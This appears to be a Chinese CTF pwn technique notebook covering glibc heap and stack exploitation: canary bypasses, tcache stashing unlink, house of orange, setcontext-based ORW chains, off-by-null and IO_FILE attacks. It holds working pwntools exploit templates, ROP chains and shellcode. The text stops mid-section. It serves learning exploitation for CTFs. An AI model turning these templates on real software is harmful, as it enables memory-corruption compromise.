记录一下pwn的一些小技巧以及一些利用方式,想到哪个写哪个吧。
0x1.stack smashing detected的利用
stack smash技术的利用基础就是栈溢出导致canary被覆盖之后的报错流程
extern char **__libc_argv attribute_hidden;
void
__attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
libc_hidden_def (__fortify_fail)
报错流程会打印出__libc_argv[0]
的值,这个值是我们执行的文件的文件名,只需要找到文件名在栈中的位置然后通过溢出将其复改为我们想要泄露的值的地址即可。
ps:这个技术的利用场景通常是能够多次执行程序的情况下且溢出量要足够大。
0x2.environ环境指针
在 Linux 系统中,glibc 的环境指针 environ(environment pointer)
为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址
environ
地址的计算方法为libc_base+libc.symbols['_environ']
0x3.TLS结构体利用
canary除了存在于栈上还会存在于TLS结构体中,TLS结构体如下
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
其中stack_guard
就是canary,可以通过超长栈溢出覆写tls结构体来绕过canary
如果是多线程程序,那么从TLS到pthread_create
的函数参数传递栈帧的距离小于一页,这种情况可以直接通过超长栈溢出来修改canary。
如果不是多线程的话,则需要能够通过mmap分配到tls结构体附近,因为tls结构体是通过mmap分配的。malloc函数在分配大内存时就会使用mmap进行分配,如果能够用mmap分配过去并且能够溢出到tls结构体就可以修改canary。
0x4.vsyscall作为滑板指令
vsyscall可以作为滑板指令,也就是相当于一个ret,使rop链向下滑动。当程序开启了pie后且没有libc地址,无法使用gadget时就可以使用这条指令作为ret来使程序流向下滑动,然后再进行partial overwrite覆盖返回地址为onegadget或别的。
通常使用0xffffffffff600000
这个地址。
0x5.glibc2.29及更高版本的uaf
高版本下glibc引入了stash机制,就是当从fastbin中取完hunk后,会将这条链上剩下的bin放到对应大小的tcache中。
在glibc2.29以及更高版本的glibc中,如果存在uaf但无法修改tcache的key值,先将tcache填满,然后在fastbin中进行double free,借着再从tcache中取chunk,使tcache为空或者不满,然后再从fastbin里取chunk,fastbin中剩余的chunk会被放入tcache中,而tcache不检查size,可以任意分配,这样能方便利用。
0x6.tcache_stashing_unlink
这个技巧能够将任意地址写一个固定的值,也就是smallbin的表头
只记录下构造方法,实现原理不再赘述
前提需要能绕过tcache取chunk,也就是需要calloc
函数
1.tcache
中放6
个,smallbin
中放两个
2.将后进smallbin
的chunk
的bk
(不破坏fd
指针的情况下)修改为目标地址-0x10
3.从smallbin中取一个chunk,先进入smallbin的chunk被分配给用户,后进入的chunk由于stash机制被放入tcache
由于bck = tc_victim->bk
,bck即为目标地址-0x10,bck->fd = bin
,最终目标地址被写入了smallbin表头的地址。
0x7.tcache_stashing_unlink plus
这个技巧能够往任意地址处分配一个chunk
1.tcache
中放5
个,smallbin
中放两个
2.将后进smallbin
的chunk
的bk
(不破坏fd
指针的情况下)修改为目标地址-0x10
,同时将目标地址+0x8
处的值设置为一个指向可写内存的指针。
3.从smallbin中取一个chunk,走完stash流程,目标地址就会被链入tcache中。
0x8.tcache_stashing_unlink plus plus
这个技巧能够同时实现任意地址分配chunk和任意地址写两个目标。
1.tcache
中放5
个,smallbin
中放两个
2.将后进smallbin
的chunk
的bk
(不破坏fd
指针的情况下)修改为目标地址1-0x10
,将目标地址 1 + 0x8
的位置设置为目标地址 2 -0x10
.
3.从smallbin中取一个chunk,即可实现两个目标。
0x9.一个控制程序流的gadget
在libc2.31中有这样一个gadget
0x0000000000157fea:
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
如果我们可以控制rdi,那么就能够进行一个任意call。
一般用于堆题的orw
同样的,在其他版本的libc中也存在着类似的gadget,只不过细节不一样,但都能达成call的作用
0xA.格式化字符串写入注意
如果要一次性修改malloc_hook或者free_hook并且发送大量字符触发onegadget的话,一定要注意,%99999c不能放在payload的最后,因为如果把%99999c放在地址后面,地址存在空字符,那样往printf的缓冲区内写数据时就会截断!%99999c就无法写入,自然也无法触发malloc_hook!
0xB.house of orange
1.需要libc地址和heap地址,还需要能够溢出。一种情况是修改unsorted bin的大小为0x61,修改其bk指针为&io_list_all-0x10
,设置好fp->flag='/bin/sh\x00'
,fp->_mode <= 0
且fp->_IO_write_ptr > fp->_IO_write_base
,注意偏移,vtable指针设置为某个我们能控制的内存,再将这片伪造的vtable空间的0x18偏移处设置为system函数的地址,如下图所示
构造模板为
fake_file = IO_FILE_plus()#创建一个IO_FILE对象
fake_file._flags = u64('/bin/sh\x00')#设置_flag为binsh,_flag的位置为unsorted bin的presize
fake_file._IO_read_ptr = 0x61#修改unsorted bin的size为0x61
fake_file._IO_read_base=_IO_list_all-0x10#修改unsorted bin的bk指针为_IO_list_all-0x10
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1#满足_IO_write_ptr > _IO_write_ptr
fake_file._mode=0#满足_mode<=0
fake_file.vtable=heap_base+0x4f0+fake_file.size#设置vtable指向fake_file下方
pay += str(fake_file)
pay += p64(0)*3 # vtable,_IO_OVERFLOW在_IO_jump_t中的偏移为0x18
pay += p64(system) # 设置_IO_OVERFLOW为system,
上面的方法只适用于libc2.23及更低版本libc,libc2.24对vtable的位置进行了检查,所以不能随意伪造vtable了。
我们使用_IO_str_jumps
这个vtable来伪造我们的vtable
结构如下
pwndbg> p _IO_str_jumps
$19 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7a906b0 <_IO_str_finish>,
__overflow = 0x7ffff7a90310 <__GI__IO_str_overflow>,
__underflow = 0x7ffff7a902b0 <__GI__IO_str_underflow>,
__uflow = 0x7ffff7a8e900 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a90690 <__GI__IO_str_pbackfail>,
__xsputn = 0x7ffff7a8e960 <__GI__IO_default_xsputn>,
__xsgetn = 0x7ffff7a8eaf0 <__GI__IO_default_xsgetn>,
__seekoff = 0x7ffff7a907e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7ffff7a8eea0 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a8ed70 <_IO_default_setbuf>,
__sync = 0x7ffff7a8f120 <_IO_default_sync>,
__doallocate = 0x7ffff7a8ef10 <__GI__IO_default_doallocate>,
__read = 0x7ffff7a90160 <_IO_default_read>,
__write = 0x7ffff7a90170 <_IO_default_write>,
__seek = 0x7ffff7a90140 <_IO_default_seek>,
__close = 0x7ffff7a8f120 <_IO_default_sync>,
__stat = 0x7ffff7a90150 <_IO_default_stat>,
__showmanyc = 0x7ffff7a90180 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a90190 <_IO_default_imbue>
}
伪造的FILE结构体需要满足如下条件
fp->_flags&1==0
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
fp->_IO_buf_base=binsh
fp->vtable=_IO_str_jumps-8
fp+0xe8=system
构造模板为
fake_file = IO_FILE_plus()
fake_file._flags = 0
fake_file._IO_read_ptr = 0x61
fake_file._IO_read_base=_IO_list_all-0x10
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_base=0
fake_file._IO_write_ptr=1
fake_file._mode=0
fake_file.vtable=_IO_str_jumps-8
pay += str(fake_file).ljust(0xe8,'\x00')+p64(system)
附上IO_FILE结构体的偏移量
0x0 _flags
0x8 _IO_read_ptr
0x10 _IO_read_end
0x18 _IO_read_base
0x20 _IO_write_base
0x28 _IO_write_ptr
0x30 _IO_write_end
0x38 _IO_buf_base
0x40 _IO_buf_end
0x48 _IO_save_base
0x50 _IO_backup_base
0x58 _IO_save_end
0x60 _markers
0x68 _chain
0x70 _fileno
0x74 _flags2
0x78 _old_offset
0x80 _cur_column
0x82 _vtable_offset
0x83 _shortbuf
0x88 _lock
0x90 _offset
0x98 _codecvt
0xa0 _wide_data
0xa8 _freeres_list
0xb0 _freeres_buf
0xb8 __pad5
0xc0 _mode
0xc4 _unused2
0xd8 vtable
以及veritas501师傅写的IO_FILE结构体伪造模块
from pwn import *
_IO_FILE_plus_size = {
'i386':0x98,
'amd64':0xe0
}
_IO_FILE_plus = {
'i386':{
0x0:'_flags',
0x4:'_IO_read_ptr',
0x8:'_IO_read_end',
0xc:'_IO_read_base',
0x10:'_IO_write_base',
0x14:'_IO_write_ptr',
0x18:'_IO_write_end',
0x1c:'_IO_buf_base',
0x20:'_IO_buf_end',
0x24:'_IO_save_base',
0x28:'_IO_backup_base',
0x2c:'_IO_save_end',
0x30:'_markers',
0x34:'_chain',
0x38:'_fileno',
0x3c:'_flags2',
0x40:'_old_offset',
0x44:'_cur_column',
0x46:'_vtable_offset',
0x47:'_shortbuf',
0x48:'_lock',
0x4c:'_offset',
0x54:'_codecvt',
0x58:'_wide_data',
0x5c:'_freeres_list',
0x60:'_freeres_buf',
0x64:'__pad5',
0x68:'_mode',
0x6c:'_unused2',
0x94:'vtable'
},
'amd64':{
0x0:'_flags',
0x8:'_IO_read_ptr',
0x10:'_IO_read_end',
0x18:'_IO_read_base',
0x20:'_IO_write_base',
0x28:'_IO_write_ptr',
0x30:'_IO_write_end',
0x38:'_IO_buf_base',
0x40:'_IO_buf_end',
0x48:'_IO_save_base',
0x50:'_IO_backup_base',
0x58:'_IO_save_end',
0x60:'_markers',
0x68:'_chain',
0x70:'_fileno',
0x74:'_flags2',
0x78:'_old_offset',
0x80:'_cur_column',
0x82:'_vtable_offset',
0x83:'_shortbuf',
0x88:'_lock',
0x90:'_offset',
0x98:'_codecvt',
0xa0:'_wide_data',
0xa8:'_freeres_list',
0xb0:'_freeres_buf',
0xb8:'__pad5',
0xc0:'_mode',
0xc4:'_unused2',
0xd8:'vtable'
}
}
class IO_FILE_plus_struct(dict):
arch = None
endian = None
fake_file = None
size = 0
FILE_struct = []
@LocalContext
def __init__(self):
self.arch = context.arch
self.endian = context.endian
if self.arch != 'i386' and self.arch != 'amd64':
log.error('architecture not supported!')
success('arch: '+str(self.arch))
self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i in sorted(_IO_FILE_plus[self.arch].keys())]
print self.FILE_struct
self.update({r:0 for r in self.FILE_struct})
self.size = _IO_FILE_plus_size[self.arch]
def __setitem__(self, item, value):
if item not in self.FILE_struct:
log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct))
super(IO_FILE_plus_struct, self).__setitem__(item, value)
def __setattr__(self, attr, value):
if attr in IO_FILE_plus_struct.__dict__:
super(IO_FILE_plus_struct, self).__setattr__(attr, value)
else:
self[attr]=value
def __getattr__(self, attr):
return self[attr]
def __str__(self):
fake_file = ""
with context.local(arch=self.arch):
for item_offset in sorted(self.item_offset):
if len(fake_file) < item_offset:
fake_file += "\x00"*(item_offset - len(fake_file))
fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')
fake_file += "\x00"*(self.size - len(fake_file))
return fake_file
@property
def item_offset(self):
return _IO_FILE_plus[self.arch].keys()
0xC.shellcode编写能力
最常见的也就是orw的编写,题目开启了沙箱,禁止execve系统调用,因此需要通过open-read-write这三步来读出flag
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
这是用pwntools的shellcraft模块生成的
或者是直接手撸汇编
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall /*open("flag",0)*/
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall /*read(rax,rsp,0x100)*/
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall /*write(1,rsp,0x100)*/
''')
不过一般情况下能用rop链代替的我都用rop链来
盲注不仅存在于web的sql注入中,在pwn中也一样存在(不过应该只是在ctf中,但考察的是选手的汇编语言能力)。
比如蓝帽杯线下的slient,需要将flag一位一位比较出来。
不过我的汇编基础不够扎实,shellcode题目向来都很头大,难受。
0xD.glibc线程
在glibc中,线程有自己的arena,但是arena的个数是有限的,一般跟处理器核心个数有关,假如线程个数超过arena总个数,并且执行线程都在使用,那么该怎么办呢。Glibc会遍历所有的arena,首先是从主线程的main_arena开始,尝试lock该arena,如果成功lock,那么就把这个arena给线程使用。
我们通常使用的是main_arena这个线程管理的堆
0xE.ORW
在堆漏洞的题目中,为了增加题目难度会禁用execve系统调用,orw就将登场
无论是2.27,2.29,2.30还是2.31的libc,为了能够执行orw都使用了一个setcontext函数,可以看到这个函数能够设置绝大多数寄存器
: push rdi
: lea rsi,[rdi+0x128]
: xor edx,edx
: mov edi,0x2
: mov r10d,0x8
: mov eax,0xe
: syscall
: pop rdi
: cmp rax,0xfffffffffffff001
: jae 0x7ffff7a7d520
: mov rcx,QWORD PTR [rdi+0xe0]
: fldenv [rcx]
: ldmxcsr DWORD PTR [rdi+0x1c0]
: mov rsp,QWORD PTR [rdi+0xa0]
: mov rbx,QWORD PTR [rdi+0x80]
: mov rbp,QWORD PTR [rdi+0x78]
: mov r12,QWORD PTR [rdi+0x48]
: mov r13,QWORD PTR [rdi+0x50]
: mov r14,QWORD PTR [rdi+0x58]
: mov r15,QWORD PTR [rdi+0x60]
: mov rcx,QWORD PTR [rdi+0xa8]
: push rcx
: mov rsi,QWORD PTR [rdi+0x70]
: mov rdx,QWORD PTR [rdi+0x88]
: mov rcx,QWORD PTR [rdi+0x98]
: mov r8,QWORD PTR [rdi+0x28]
: mov r9,QWORD PTR [rdi+0x30]
: mov rdi,QWORD PTR [rdi+0x68]
: xor eax,eax
: ret
: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
: neg eax
: mov DWORD PTR fs:[rcx],eax
: or rax,0xffffffffffffffff
: ret
而我们并不是从头到尾地使用setcontext函数,而是从setcontext+53开始调用,这是因为在setcontext+44处地指令fldenv [rcx]
会使程序crash
首先来说明2.27的libc下orw的构造
: mov rcx,QWORD PTR [rdi+0xa8]
: push rcx
从这两条指令可以看出,从[rdi+0xa8]弹到rcx的值将会是rip
setcontext的利用分两种,一种需要libc地址和heap地址,另一种只需要libc地址,先说只要libc地址的
构造模板如下
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
利用double free或者overlap将free_hook修改为setcontext+53
add(0x18,p64(free_hook))
add(0x18,p64(setcontext))
接着伪造栈空间
frame = SigreturnFrame()
frame.rax=0 #调用read
frame.rdi=0 #参数1
frame.rsi=free_hook&0xfffffffffffff000 #参数2 往free_hook&0xfffffffffffff000写
frame.rdx=0x2000 #参数3 写入0x2000字节
frame.rsp=free_hook&0xfffffffffffff000 #执行完read调用后跳转到free_hook&0xfffffffffffff000
frame.rip=syscall #rip,执行系统调用
payload=str(frame)
将payload写入到某个chunk中,假设这个chunk序号为8
add(0x100,payload)
然后free掉这个chunk触发setcontext
free(8)
接着我们就能往free_hook&0xfffffffffffff00写入shellcode
payload = [
libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
free_hook & 0xfffffffffffff000,
libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
0x2000,
libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
7,
libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
10,
syscall, #: syscall; ret;
libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]
shellcode = asm('''
/*open('flag',0)*/
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
/*read(3,rsp,0x100)*/
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
/*write(1,rsp,0x100)*/
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
shellcode就是先通过mprotect将free_hook & 0xfffffffffffff000附近0x2000的空间设置为可执行,然后进行orw读取flag
另一种需要堆地址的orw的构造模板如下
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext'] + 53
利用double free或者overlap将free_hook修改为setcontext+53
add(0x18,p64(free_hook))
add(0x18,p64(setcontext))
将堆的某个地址设置为setcontext执行完后要跳转过来的rsp,在上面布置好ROP链,因为rop执行的是text段的代码,所以不需要mprotect修改权限
payload = 'a'*0xa0 + p64(fake_rsp) + p64(ret) #rsp rip
payload = payload.ljust(0xb0, '\x00')
payload += './flag\x00\x00'
payload += p64(0)
payload += p64(pop_rdi_ret) + p64(flag)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(libc_base+libc.sym['open'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
payload += p64(libc_base + libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdx_rsi_ret) + p64(0x30) + p64(fake_rsp+0x100)
payload += p64(libc_base + libc.sym['write'])
add(0x400, payload)#10
free(10)
再说2.29的orw
2.29的setcontext如下
0x7ffff7e36e00 : push rdi
0x7ffff7e36e01 : lea rsi,[rdi+0x128]
0x7ffff7e36e08 : xor edx,edx
0x7ffff7e36e0a : mov edi,0x2
0x7ffff7e36e0f : mov r10d,0x8
0x7ffff7e36e15 : mov eax,0xe
0x7ffff7e36e1a : syscall
0x7ffff7e36e1c : pop rdx
0x7ffff7e36e1d : cmp rax,0xfffffffffffff001
0x7ffff7e36e23 : jae 0x7ffff7e36e80
0x7ffff7e36e25 : mov rcx,QWORD PTR [rdx+0xe0]
0x7ffff7e36e2c : fldenv [rcx]
0x7ffff7e36e2e : ldmxcsr DWORD PTR [rdx+0x1c0]
0x7ffff7e36e35 : mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7e36e3c : mov rbx,QWORD PTR [rdx+0x80]
0x7ffff7e36e43 : mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7e36e47 : mov r12,QWORD PTR [rdx+0x48]
0x7ffff7e36e4b : mov r13,QWORD PTR [rdx+0x50]
0x7ffff7e36e4f : mov r14,QWORD PTR [rdx+0x58]
0x7ffff7e36e53 : mov r15,QWORD PTR [rdx+0x60]
0x7ffff7e36e57 : mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7e36e5e : push rcx
0x7ffff7e36e5f : mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7e36e63 : mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7e36e67 : mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7e36e6e : mov r8,QWORD PTR [rdx+0x28]
0x7ffff7e36e72 : mov r9,QWORD PTR [rdx+0x30]
0x7ffff7e36e76 : mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7e36e7d : xor eax,eax
0x7ffff7e36e7f : ret
0x7ffff7e36e80 : mov rcx,QWORD PTR [rip+0x18dfe9] # 0x7ffff7fc4e70
0x7ffff7e36e87 : neg eax
0x7ffff7e36e89 : mov DWORD PTR fs:[rcx],eax
0x7ffff7e36e8c : or rax,0xffffffffffffffff
0x7ffff7e36e90 : ret
libc2.29下的setcontext和2.27的区别在于setcontext+53处的代码是将rdx+0xa0处的值赋给了rsp,而不是rdi,因此我们需要一个gadget来操纵rdx
在libc2.29中有这样一条gadget
0x000000000012be97:
mov rdx, qword ptr [rdi + 8];
mov rax, qword ptr [rdi];
mov rdi, rdx;
jmp rax;
当我们free某个chunk时,rdi即为这个chunk的地址,我们将[rdi+8]设置为伪造的rsp的地址,在其中布置好各个寄存器的参数以及orw的rop链;将[rdi]设置为setcontext+0x1d的地址。
模板如下
add(0x28, p64(free_hook))
add(0x28, 'a')
add(0x28, 'a')
add(0x28, p64(gadget))
frame = SigreturnFrame()
frame.rdi = heap_addr + 0x1b50 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_addr + 0x1b50 + 0x100
frame.rip = libc_base + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_addr)
str_frame = str(frame)
payload = p64(libc_base + libc.symbols['setcontext'] + 0x1d) + p64(heap_addr + 0x1b50) + str_frame[0x10:]
layout = [
libc_base + 0x0000000000047cf8, #: pop rax; ret;
2,
# sys_open("./flag", 0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
0,
# sys_read(flag_fd, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
1,
libc_base + 0x0000000000026f9e, #: pop rsi; ret;
heap_addr + 0x10000,
libc_base + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
1,
# sys_write(1, heap, 0x100)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
libc_base + 0x0000000000026542, #: pop rdi; ret;
0,
libc_base + 0x0000000000047cf8, #: pop rax; ret;
231,
# exit(0)
libc_base + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, 'a') + flat(layout)
payload = payload.ljust(0x200, 'a') + './flag'
add(0x1000, payload)
print payload
free(37)
最后是libc2.31的orw
由于2.29出题麻烦,所以目前大部分都是2.31的题目
2.31的setcontext和2.29一样,只是用来操纵rdx的gadget有所区别
如下
0x0000000000154930:
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
也就是在rdi+8的位置处放frame的地址,在frame+0x20处放setcontext的地址
模板如下
edit(27, p64(gadget))
edit(23, './flag\x00\x00')
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = heap_orw
frame.rdx = 0x1000
frame.rsp = heap_orw
frame.rip = syscall
str_frame = str(frame)
#setcontext = libc_base + libc.sym['setcontext'] + 61
p = p64(0)*4+p64(setcontext)
edit(0, p+str_frame[0x28:])
p = p64(0) + p64(frame_addr)
p2 = p64(pop_rdi) + p64(flag) + p64(pop_rsi) + p64(0)
p2 += p64(Open)
p2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Read)
p2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_addr) + p64(pop_rdx) + p64(0x200) + p64(0)
p2 += p64(Write)
edit(11, p)
free(11)
sl(p2)
0xF.off-by-null
1.shrink the chunk
add(0x18,'a') #1
add(0x1e0,'a')#2
add(0x80,'a')#3
dele(2)#chunk2进入unsortedbin,chunk3的prvesize为0x1f0
dele(1)
add(0x18,'a'*0x18)#1 off-by-null,chunk2的size变为0x100,chunk3的size依然为0x1f0
add(0x80,'a')#2从unsortedbin切割
add(0x68,'a')#4从unsortedbin切割
dele(2)
dele(3)#chunk3根据prevsize找到chunk1,chunk1为free状态,触发合并,于是chunk4处于复用状态
以上是2.23的利用方法,如果是2.27的版本则需要将tcache填满
注意,可能需要伪造chunk来绕过检查
2.普通的off-by-null
add(0xf8,'a')#1
add(0xf8,'a')#2
add(0xf8,'a')#3
add(0x18,'a')#4
dele(2)
add(0xf8,'a'*0xf0+p64(0x200))#2 off-by-null chunk3,chunk3的size的isuse位被置0,prevsize被设置为chunk1+chunk2
dele(1)
dele(3)#chunk3被free,根据prevsize找到chunk1,chunk1被free,触发合并,chunk2处于复用状态
3.以上两种方法只适用于2.23及2.27,2.29及以上版本增加了检查,直接修改size和prvesize不再适用,需要借用largebin的残留指针来操作。
借用一张图
构造模板如下
for i in range(7):
add(0x28,'chunk_' + str(64+i) + 'n') #用于填充tcache
add(0x5a8,'pad') #使堆地址对齐
add(0x5e0,'chunk_72' + 'n') #largebin
add(0x18,'chunk_73' + 'n') #防止largebin被topchunk合并
delete(72) #dele掉0x5e0的chunk,进入unsortedbin
add(0x618,'chunk_72' + 'n') #申请一个大于0x5e0的chunk,使其进入largebin,堆上留下了残留指针
add(0x28,'a'*8+p64(0xe1)+p8(0x90)) #chunk0 从largebin切割,在其中伪造一个0xe1的chunk,将fakechunk的fd指向chunk3
add(0x28,'chunk_75' + 'n') #chunk1
add(0x28,'chunk_76' + 'n') #chunk2
add(0x28,'chunk_77' + 'n') #chunk3
add(0x28,'chunk_78' + 'n') #chunk4 剩下0x500的unsortedbin
for i in range(7):
delete(64+i) #将tcache填满
delete(75) #free chunk1 进入fastbin
delete(77) #free chunk3 ,使chunk3的fd指针上留下堆指针
for i in range(7):
add(0x28,'chunk_'+str(64+i)+'n') #将tcache清空
add(0x618,'chunk_75' + 'n') #将unsortedbin放入largebin
add(0x28,'b'*8+p8(0x10)) #使chunk3的bk指针指向chunk0
add(0x28,'chunk_1')
for i in range(7): #将tcache填满
delete(64+i)
delete(78) #free chunk4
delete(74) #free chunk0 使chunk0的fd上留下堆指针
for i in range(7):
add(0x28,'chunk_'+str(64+i)+'n') #将tcache清空
add(0x28,p8(0x10)) #将chunk0的fd指针指向fakechunk
add(0x28,'a'*0x20+p64(0xe0)) #伪造chunk5的presize为fakechunk的size,并off-by-null,置chunk5的inuse位为0
add(0x4f8,'a') #将chunk5申请回来
delete(80) #将chunk5 free,触发合并
由于我们需要堆地址为0x????????????0???
,即倒数第四位为0,所以概率为1/16
构造完成后就是下面的情况
0x10.main_arena打击
堆题目中可以尝试劫持main_arena
分情况,如果能分配0x68的chunk的话,就可以直接往main_arena上错位分配,找个0x7f地址开头的,就可以申请过去了,接着修改main_arena+88处的值,这里是存放topchunk地址的位置,我们可以将其修改为malloc_hook上方一点的位置,接着继续申请chunk就能分配到malloc_hook了;如果要劫持free_hook的话要麻烦些,需要把main_arena劫持到free_hook上方一段距离,然后一直申请chunk才能分配到free_hook;如果分配不了0x68的chunk,但可以分配0x40的chunk,可以伪造一个大一点的chunk,如0x70的,再将其free掉,然后在main_arena中就会记录下这个0x70的chunk的地址,堆地址开头可能为0x55或者0x56,如果为0x56的话,我们再进行错位申请就可以申请到main_arena去,接着修改main_arena+88的值即可。
0x11. .fini_array劫持
Linux下c程序的运行顺序如下
_start--->__libc_start_main_--->init--->main--->fini
init会执行.init_array数组内的函数,fini会执行.fini_array数组内的函数,在IDA内按ctrl+s可以看到这两个数组的地址
程序运行流程更加细化如下所示
_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->...--->.init_array[n]--->main--->fini--->.fini_array[n]--->.fini_array[n-1]--->...--->.fini_array[0]
.init_array内的函数顺序执行,.fini_array内的函数逆序执行
将.fini_array[1]修改为main函数的地址,将.fini_array[0]修改为fini函数的地址,就可以无限循环了,流程如下
_start--->__libc_start_main--->init--->.init_array[0]--->.init_array[1]--->main--->fini--->.fini_array[1](main)--->.fini_array[0](fini)
0x12.IO_FILE结构体攻击
接上面的house of orange
FILE结构体中有几个重要的指针
_IO_buf_base:输入输出缓冲区基地址
_IO_buf_end:输入输出缓冲区结束地址
_IO_write_base:输出缓冲区基地址
_IO_write_ptr:输出缓冲区已使用的地址
_IO_write_end:输出缓冲区结束地址
_IO_read_ptr:输入缓冲区的起始地址
_IO_read_end:输入缓冲区的结束地址
引用raycp大佬的解释
其中
_IO_buf_base
和_IO_buf_end
是缓冲区建立函数_IO_doallocbuf
(上一篇详细描述过)会在里面建立输入输出缓冲区,并把基地址保存在_IO_buf_base
中,结束地址保存在_IO_buf_end
中。在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base
,结束地址给_IO_write_end
,同时_IO_write_ptr
表示为已经使用的地址。即_IO_write_base
到_IO_write_ptr
之间的空间是已经使用的缓冲区,_IO_write_ptr
到_IO_write_end
之间为剩余的输出缓冲区。
还需要介绍几个函数(以下引用ctfwiki上的介绍)
1.fread
fread 是标准 IO 库函数,作用是从文件流中读数据,函数原型如下
size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
fread 的代码位于 /libio/iofread.c 中,函数名为_IO_fread
,但真正的功能实现在子函数_IO_sgetn
中。
_IO_size_t
_IO_fread (buf, size, count, fp)
void *buf;
_IO_size_t size;
_IO_size_t count;
_IO_FILE *fp;
{
...
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
...
}
在_IO_sgetn
函数中会调用_IO_XSGETN
,而_IO_XSGETN
是_IO_FILE_plus.vtable
中的函数指针,在调用这个函数时会首先取出 vtable 中的指针然后再进行调用。
_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}
在默认情况下函数指针是指向_IO_file_xsgetn 函数的,
if (fp->_IO_buf_base
